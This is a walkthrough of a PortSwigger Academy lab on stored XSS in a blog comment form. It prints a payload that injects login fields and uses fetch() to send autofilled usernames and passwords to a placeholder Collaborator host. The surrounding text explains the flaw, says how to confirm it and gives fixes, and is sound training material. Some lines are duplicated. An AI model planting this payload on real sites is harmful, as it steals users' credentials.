Authorization disclaimer. This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.

Overview

This lab isolates Stored XSS password capture. Unsanitized comment HTML is stored by POST /post/comment; the simulated victim has saved credentials that autofill username and password inputs. The password manager fills the injected fields and the password field change sends the pair to Collaborator.

Lab objective/setup

Open the Academy exercise at the reserved lab URL and work only in that disposable environment. The required proof is specific: The captured administrator credential is used to sign in and delete carlos.

What I observed

Unsanitized comment HTML is stored by POST /post/comment; the simulated victim has saved credentials that autofill username and password inputs. The password manager fills the injected fields and the password field change sends the pair to Collaborator.

Academy objective requires stored XSS to inject username and password fields, capture password-manager autofill, and exfiltrate the values.
Academy objective requires stored XSS to inject username and password fields, capture password-manager autofill, and exfiltrate the values.
Comment form contains inert markup for username and password inputs plus a change handler that sends their values to Collaborator.
Comment form contains inert markup for username and password inputs plus a change handler that sends their values to Collaborator.

Why it is vulnerable

The application applies protection for the wrong parser or omits a control at the decisive boundary. In this case, unsanitized comment HTML is stored by POST /post/comment; the simulated victim has saved credentials that autofill username and password inputs. Browser parsing therefore preserves the attacker-controlled behavior instead of reducing the value to inert text or a safe URL.

Walkthrough in the authorized PortSwigger lab

First reproduce the recorded page or request and inspect the exact reflected, stored, or DOM-generated context described above. Then supply the following lab payload as data, not as active markup in this article:

1
2
`<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://COLLABORATOR',{method:'POST',mode:'no-cors',body:username.value+':'+this.value})">`

The password manager fills the injected fields and the password field change sends the pair to Collaborator.

Collaborator interaction records the victim callback whose request contains the autofilled username and password values.
Collaborator interaction records the victim callback whose request contains the autofilled username and password values.
Solved Academy banner confirms the captured synthetic credentials were submitted to complete the lab.
Solved Academy banner confirms the captured synthetic credentials were submitted to complete the lab.

Verification

The captured administrator credential is used to sign in and delete carlos. This distinguishes execution from a payload merely appearing in source or being stored without reaching the required event or sink.

Impact and defensive lesson

In a real application, equivalent XSS could act with the victim’s same-origin privileges, expose readable data, or perform authenticated actions. Fix the data flow at its context: use text-only DOM APIs, JavaScript- or attribute-aware encoding, strict URL-scheme allowlists, and maintained sanitization where HTML is unavoidable. HttpOnly cookies and a restrictive CSP reduce consequences but do not repair the injection flaw.

References